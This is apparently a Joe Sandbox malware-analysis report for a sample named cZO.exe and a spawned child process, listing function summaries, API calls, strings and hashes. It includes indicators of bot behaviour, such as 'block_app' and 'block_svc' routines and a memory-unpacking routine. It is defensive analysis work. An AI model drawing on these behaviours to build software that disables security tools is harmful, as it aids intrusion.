String ID:
API String ID:
Opcode ID: b5381d9fe7fa622fd0860884433f0d4a55c1a5d5f6020f8b55c1a12f78539a93
Instruction ID: f863e0ad4f8aeb9fc94725681f3d2689ae89c542ab32be7a6272ffab34643977
Opcode Fuzzy Hash: b5381d9fe7fa622fd0860884433f0d4a55c1a5d5f6020f8b55c1a12f78539a93
Instruction Fuzzy Hash: 1FA1B531618E0C8FCB58EF28D495AAEB7E1FBA9314F01461FE44ED3254DA30E985CB85

Function 024ED122 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 024ED371

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: bb3d50ccaa70714ca57f8e18558dc9f0eacc16d483a426df21245d113d691742
Instruction ID: 2507883226572b18e3c556567a44ea7e7246214c2df603957cd21a8dc14b1e42
Opcode Fuzzy Hash: bb3d50ccaa70714ca57f8e18558dc9f0eacc16d483a426df21245d113d691742
Instruction Fuzzy Hash: A6B15830910A4DCFEB99DF1CC88AB5677E1FF59309F19859AE85ACB262C335D852CB01

Function 024D7F2E Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9504ec3498c334db6f4483eaf0aa592e2d3e0a6c7eae909d948189314d3c2b0
Instruction ID: 9f2d99ea6b90e45e65382ca119b92d594e642ffb8f6c2caf06c62797761bf565
Opcode Fuzzy Hash: c9504ec3498c334db6f4483eaf0aa592e2d3e0a6c7eae909d948189314d3c2b0
Instruction Fuzzy Hash: 78E18331918B8C8BC745DF68C8946BAB3E1FFA9300F50571FE486D3255EB74A685CB81

Function 024E701E Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6c09f31ddc09bea78bddde318276c838f0745ed6150f3c305ccb77a5701def
Instruction ID: 94151202dd1031304a6f7d83c6b5e153e51c36033d666cd4e8910bad687a67ae
Opcode Fuzzy Hash: 9c6c09f31ddc09bea78bddde318276c838f0745ed6150f3c305ccb77a5701def
Instruction Fuzzy Hash: 7B61087091CB5C4FEF28EF68984917ABBE5FB95721F00465FE487C3255DB70A8428AC2

Function 024E53EA Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e9395568328c1374589bad5e4f24ab0974f60651a83110b5ffd51f4435af96
Instruction ID: 0061ef829e87c82a0d9c2b3a97faa44e36fddc2267b0cf17796596f338105e6f
Opcode Fuzzy Hash: a8e9395568328c1374589bad5e4f24ab0974f60651a83110b5ffd51f4435af96
Instruction Fuzzy Hash: 9F51E432718E0C4F9B1CDF6CD49867673D2EBAC315315822EE40BD72A5DA70D8468785

Function 024D60CE Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bfdd2e48ad19d66b0e37b2c6738ec7b33e2acd157bee24fc1458e38cb5dc2f
Instruction ID: 71086d250f1f2ba5fdf0473999e0b70f2c48b4913439d22f63300f2ec25f5760
Opcode Fuzzy Hash: b3bfdd2e48ad19d66b0e37b2c6738ec7b33e2acd157bee24fc1458e38cb5dc2f
Instruction Fuzzy Hash: A12186317116054BE70CCE2EC899575B3D6F7D9205B54C67DD15BCB357C93658038A08

Function 024D5B3E Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818b3c2bf741691b3b4d97ce965452ef50dff5a67fbb0249e4fef83404bb3482
Instruction ID: 3ca7d0d8875ffc3bc230cb07fd49bdda0f0d815a1a5e557f6d72fabb1242a7a0
Opcode Fuzzy Hash: 818b3c2bf741691b3b4d97ce965452ef50dff5a67fbb0249e4fef83404bb3482
Instruction Fuzzy Hash: 8511E1723108008FD75CCF3DCD9A66933D6EB89304B48C2BDE51ACB26ADA358543CB44

Function 024E0D62 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 460COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 024E0DBF

Part of subcall function 024E3122: __GetUnwindTryBlock.LIBCMT ref: 024E3165
Part of subcall function 024E3122: __SetUnwindTryBlock.LIBVCRUNTIME ref: 024E318A

Is_bad_exception_allowed.LIBVCRUNTIME ref: 024E0E97
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 024E10E5
std::bad_alloc::bad_alloc.LIBCMT ref: 024E11F2

Strings

csm, xrefs: 024E0EBA
csm, xrefs: 024E0DD9
csm, xrefs: 024E0E40

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 108918def01c2ac3d9b7d3d29076d54d19053c4a9c7ba14f76529dd2783086c1
Instruction ID: 5b9cd5ed99f01840263ecbf1ea93b09050aa76da7ae2dbb7ee1548dbdd2f1f55
Opcode Fuzzy Hash: 108918def01c2ac3d9b7d3d29076d54d19053c4a9c7ba14f76529dd2783086c1
Instruction Fuzzy Hash: 58E1B130518B488FEF25EF68C4856AAB7E1FB99315F10165FD48ED7211DB74E882CB82

Function 024E1232 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 462COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 024E13D0
std::bad_alloc::bad_alloc.LIBCMT ref: 024E16F9

Strings

csm, xrefs: 024E1317
csm, xrefs: 024E13F7
csm, xrefs: 024E1379

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 44741fef4920e8016cbaa655631b12234c63bd922a043d493a0beaa3d2e65c1f
Instruction ID: a91f2fa630f660341febad33e7942883f4fe9179703cf8e8add18c80276bbdfb
Opcode Fuzzy Hash: 44741fef4920e8016cbaa655631b12234c63bd922a043d493a0beaa3d2e65c1f
Instruction Fuzzy Hash: 0FE1E430518B488FEF25EF29C4856AA77E1FB55315F14066FD49F8B612DB70E882CB82

Function 024E0632 Relevance: 7.9, APIs: 5, Instructions: 439COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 024E0755
__AdjustPointer.LIBCMT ref: 024E07A0

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 85d2843c014daff7437528d10741e8f5ff4ca83c870dc17c53e8f2f83a3b4496
Instruction ID: 09b64267bcceaad994ea3948a746333a40348a0107aed79c891891cec108293b
Opcode Fuzzy Hash: 85d2843c014daff7437528d10741e8f5ff4ca83c870dc17c53e8f2f83a3b4496
Instruction Fuzzy Hash: 70C1F530518E0E8FFF29AF288054276B3D1FBA4716B54666FC4ABD7255DBB0D4828BC0

Function 024DA412 Relevance: 7.8, Strings: 6, Instructions: 289COMMON

Download Yara Rule

Strings

H, xrefs: 024DA6B0
, xrefs: 024DA672
P!`, xrefs: 024DA71A
`, xrefs: 024DA4B3
(, xrefs: 024DA6C6
2, xrefs: 024DA667

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
String ID: $($2$H$P!`$`
API String ID: 0-2682688576
Opcode ID: 6f338864bc440f2af10c69bb62dcc2234c63ea6672277518ce2d0b7b3d90242a
Instruction ID: 4931aa3d81e8481e476b3141a56b1e77253ef16abaec7d92f9ba14cb3da2952a
Opcode Fuzzy Hash: 6f338864bc440f2af10c69bb62dcc2234c63ea6672277518ce2d0b7b3d90242a
Instruction Fuzzy Hash: 42C1F4B09187988FD7A4DF18C08879ABBE1FB99304F508A6ED8CDCB215DB705589CF46

Function 024E19A6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 294COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 024E1A61

Strings

MOC, xrefs: 024E1A2A
RCC, xrefs: 024E1A32

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 444dbfe9f3f19db82e809d8395c94021d05aa1c46c0babb41f9330434da2b637
Instruction ID: 2cf6796adab33fd5ed3bf003f342ed2a605dab0df1d0bd0544f987261279b6cc
Opcode Fuzzy Hash: 444dbfe9f3f19db82e809d8395c94021d05aa1c46c0babb41f9330434da2b637
Instruction Fuzzy Hash: 66A18130918B488FDF19EF6CC485AA9BBE1FB99305F14465EE44AC7211DB74E981CB81

Function 024E006A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 024E0095
_IsNonwritableInCurrentImage.LIBCMT ref: 024E012C

Strings

csm, xrefs: 024E0113

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 30ef7e2d36ee2c66795a7b7596056c8c55a2b8efc71cae2e964df3408ffd0b69
Instruction ID: 4760056c16719c06dc09bb73f5160a7e4315b8eb7c24717b76800e31830458e9
Opcode Fuzzy Hash: 30ef7e2d36ee2c66795a7b7596056c8c55a2b8efc71cae2e964df3408ffd0b69
Instruction Fuzzy Hash: A361093060CA088BEF28EE5CD884B7573D1FB54356F00516EE897DB256E7B1EC918B85

Function 024E1736 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 024E17E1

Strings

RCC, xrefs: 024E17B1
MOC, xrefs: 024E17A9

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 6ef9112c19f78de0e2e0f52c9465fb91f3cc3b7f319b326a9b0bcdb3e32a35b8
Instruction ID: 2f0370094601366529f893f53aa7e668b801598112b5b13060fc126c9a16dbc4
Opcode Fuzzy Hash: 6ef9112c19f78de0e2e0f52c9465fb91f3cc3b7f319b326a9b0bcdb3e32a35b8
Instruction Fuzzy Hash: D871B43051CB488FEB69DF58C446BAAB7E0FB99305F144A5ED48EC3211DB74E581CB86

Function 024E27F6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 024E28A0
_CreateFrameInfo.LIBVCRUNTIME ref: 024E28C9

Strings

csm, xrefs: 024E29C9

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 06c119407accd39f8435343144e30bf6358969287a5cf68c59ee8460d9e456f2
Instruction ID: 52c33a24baf059f24677adde08a1fbf6697899ff31360b282e6b23c5ce501146
Opcode Fuzzy Hash: 06c119407accd39f8435343144e30bf6358969287a5cf68c59ee8460d9e456f2
Instruction Fuzzy Hash: 005164B0518B458FEB60EF29C48567A77E1FB99352F10155FE48AC7221DB70E842CF86

Analysis Process: cZO.exePID: 5660, Parent PID: 564COMMON

Execution Graph

Execution Coverage:	59.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 028401B0 Relevance: 9.3, APIs: 6, Instructions: 317
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 02840215
VirtualProtect.KERNELBASE ref: 02840301
VirtualFree.KERNELBASE ref: 02840332
VirtualFree.KERNELBASE ref: 02840358
VirtualAlloc.KERNELBASE ref: 0284037B
VirtualProtect.KERNELBASE ref: 0284051B

Memory Dump Source

Source File: 00000001.00000002.3263620250.0000000002840000.00000040.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2840000_cZO.jbxd

Similarity

API ID: Virtual$AllocFreeProtect
String ID:
API String ID: 267585107-0
Opcode ID: d4c2a8ca2ad52b1407480866e6e93688b0dc4b0e284f3aa7e09f2a5729c8ff95
Instruction ID: 7b81c156919496f3fe4b5cd383926a253b67550c4e6849082747074593e73791
Opcode Fuzzy Hash: d4c2a8ca2ad52b1407480866e6e93688b0dc4b0e284f3aa7e09f2a5729c8ff95
Instruction Fuzzy Hash: 1FC1CD3421CA488FD788EF5CC498B6AB7E1FB98305F51585DF58AC7261DBB4E881CB42

Function 02840620 Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0284063A

Memory Dump Source

Source File: 00000001.00000002.3263620250.0000000002840000.00000040.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2840000_cZO.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d93f75fe62b5d066bb1a3d92e36f140eac5fcecea37a8835d89b2688be319dec
Instruction ID: 42c62d54d1ca80df244572d2250d49a4e48d2af1a4e11cc88891e319d730dc5d
Opcode Fuzzy Hash: d93f75fe62b5d066bb1a3d92e36f140eac5fcecea37a8835d89b2688be319dec
Instruction Fuzzy Hash: C7C08C3060A2004BDB0C6B38D8A9B1B3AE0FB8C300FA0552DF18BC2290C97EC4828786

Analysis Process: vc71izwl68ub3txurufnpr09g6ni3.exePID: 1120, Parent PID: 5660COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1673
Total number of Limit Nodes:	8

Executed Functions

Function 00007FF7757245D5 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF77572461A
fseek.MSVCRT ref: 00007FF775724639
_errno.MSVCRT ref: 00007FF77572464D
_errno.MSVCRT ref: 00007FF775724668
_errno.MSVCRT ref: 00007FF775724727

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

_errno.MSVCRT ref: 00007FF775724742
_errno.MSVCRT ref: 00007FF77572478F
fclose.MSVCRT ref: 00007FF775724B30

Strings

[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF775724957
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF775724736
[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF775724AE1
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF77572465C
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF775724841
(buf_sz != NULL), xrefs: 00007FF7757246C9
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7757249FB
NULL, xrefs: 00007FF775724B99
fs_file_read, xrefs: 00007FF775724655, 00007FF77572469D, 00007FF7757246D0, 00007FF775724703, 00007FF77572472F, 00007FF77572483A, 00007FF775724950, 00007FF775724A1B, 00007FF775724ADA, 00007FF775724B65, 00007FF775724BA8
(path != NULL), xrefs: 00007FF775724696
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF775724A22
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF77572468F, 00007FF7757246C2, 00007FF7757246F5
mem_alloc, xrefs: 00007FF7757249F4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757246A4, 00007FF7757246D7, 00007FF77572470A
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF775724BAF
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF7757246FC

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4120527733
Opcode ID: b829813eb9698e215a266fa2b4b31c54f972829afe64dadd3eff5c7fe421969e
Instruction ID: ae83998c3ee9f3d12cf1f1b5ca8d97b179e6e10b37e908fb80a225cc936fe5b2
Opcode Fuzzy Hash: b829813eb9698e215a266fa2b4b31c54f972829afe64dadd3eff5c7fe421969e
Instruction Fuzzy Hash: 85D17133E3868B91EA20BB15E8417B8A762FF48F95FD54132D90D576A0DE3CE945C3A0

Function 00007FF77572855D Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 393COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF775729BB9: strcmp.MSVCRT ref: 00007FF775729CAD

Process32Next.KERNEL32 ref: 00007FF775728671
GetLastError.KERNEL32 ref: 00007FF77572867D
GetLastError.KERNEL32 ref: 00007FF7757286C1
GetLastError.KERNEL32 ref: 00007FF7757287A3
OpenProcess.KERNEL32 ref: 00007FF7757288DC
QueryFullProcessImageNameW.KERNEL32 ref: 00007FF775728920
GetLastError.KERNEL32 ref: 00007FF77572892E
CloseHandle.KERNEL32 ref: 00007FF775728CA8

Strings

[E] (%s) -> OpenProcess failed(szExeFile=%s,gle=%lu), xrefs: 00007FF775728A8F
[E] (%s) -> QueryFullProcessImageNameW failed(gle=%lu), xrefs: 00007FF775728940
block_app, xrefs: 00007FF77572868D, 00007FF7757286CC, 00007FF7757287B7, 00007FF775728939, 00007FF775728A2B, 00007FF775728A88
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF7757286D3
[I] (%s) -> Done(szExeFile=%s,th32ProcessID=%d), xrefs: 00007FF775728A32
app, xrefs: 00007FF77572858D
[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF7757287BE
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF775728694

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLast$Process$CloseFullHandleImageNameNextOpenProcess32Querystrcmp
String ID: [E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> OpenProcess failed(szExeFile=%s,gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> QueryFullProcessImageNameW failed(gle=%lu)$[I] (%s) -> Done(szExeFile=%s,th32ProcessID=%d)$app$block_app
API String ID: 1025937399-1899507746
Opcode ID: 5eefb5ce101ca54b87197a8626b6cf7e368369295640dbdbd5fb03039e3b8b91
Instruction ID: ea5bfe481cbd065c77effcd393fe9f8465b609da7a0c8346b5943acce2f8a24a
Opcode Fuzzy Hash: 5eefb5ce101ca54b87197a8626b6cf7e368369295640dbdbd5fb03039e3b8b91
Instruction Fuzzy Hash: 41F12823E3C74386FA706B54A49037C9271EF4CF54FD44032C60E8A6D6CE6EA8C596E6

Function 00007FF775721131 Relevance: 13.6, APIs: 9, Instructions: 120
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF775721313), ref: 00007FF77572116E
_amsg_exit.MSVCRT(?,?,?,00007FF775721313), ref: 00007FF77572118D
_initterm.MSVCRT ref: 00007FF7757211AE
_initterm.MSVCRT ref: 00007FF7757211D3
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF775721212
malloc.MSVCRT ref: 00007FF775721244
strlen.MSVCRT ref: 00007FF77572125C
malloc.MSVCRT ref: 00007FF775721268
_cexit.MSVCRT(?,?,?,00007FF775721313), ref: 00007FF7757212E3

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: 2813f3856443894ab469f366167a80d9e07d419bf14478a7c388344116e67307
Instruction ID: 51bac5fc08003d1bf1eb59fdfa402b9ff256afa139961c89ad002235c703311e
Opcode Fuzzy Hash: 2813f3856443894ab469f366167a80d9e07d419bf14478a7c388344116e67307
Instruction Fuzzy Hash: CF511827A38A8685EB51FB16E851679A3A0FF4CFA4F958035DD0D47391EE3CE84087E1

Function 00007FF775728CFC Relevance: 40.5, APIs: 9, Strings: 14, Instructions: 281
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF775729BB9: strcmp.MSVCRT ref: 00007FF775729CAD

Part of subcall function 00007FF775721CF4: LoadLibraryA.KERNEL32 ref: 00007FF775721D02

FreeLibrary.KERNEL32 ref: 00007FF775728DAC

Part of subcall function 00007FF775721C73: GetProcAddress.KERNEL32 ref: 00007FF775721C93

strlen.MSVCRT ref: 00007FF775728EEF
GetProcessHeap.KERNEL32 ref: 00007FF775728F6B
HeapAlloc.KERNEL32 ref: 00007FF775728F7C
BuildTrusteeWithSidW.ADVAPI32 ref: 00007FF775729010

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

BuildSecurityDescriptorW.ADVAPI32 ref: 00007FF77572905D
GetProcessHeap.KERNEL32 ref: 00007FF7757290F2
HeapFree.KERNEL32 ref: 00007FF775729103
LocalFree.KERNEL32 ref: 00007FF7757291E4

Part of subcall function 00007FF7757214E2: EnterCriticalSection.KERNEL32 ref: 00007FF7757215B3
Part of subcall function 00007FF7757214E2: LeaveCriticalSection.KERNEL32 ref: 00007FF7757215DB
Part of subcall function 00007FF7757214E2: CopyFileA.KERNEL32 ref: 00007FF775721638

Strings

RtlCreateServiceSid, xrefs: 00007FF775728DB7
mem_alloc, xrefs: 00007FF7757290AC
ntdll.dll, xrefs: 00007FF775728D5F
[I] (%s) -> Done(svc_name=%s), xrefs: 00007FF7757291F9
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7757290B3
svc, xrefs: 00007FF775728D2C
RtlAnsiStringToUnicodeString, xrefs: 00007FF775728D73
[E] (%s) -> BuildSecurityDescriptorW failed(gle=%lu), xrefs: 00007FF775729077
RtlFreeUnicodeString, xrefs: 00007FF775728DD4
[E] (%s) -> RtlCreateServiceSid failed(res=%08lx), xrefs: 00007FF775728E52, 00007FF7757290D3
RtlZeroMemory, xrefs: 00007FF775728DF1
block_svc, xrefs: 00007FF775728E31, 00007FF775728E4B, 00007FF775729070, 00007FF7757290CC, 00007FF7757291F2
RtlCopyMemory, xrefs: 00007FF775728E09
[E] (%s) -> RtlAnsiStringToUnicodeString failed(res=%08lx), xrefs: 00007FF775728E38

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

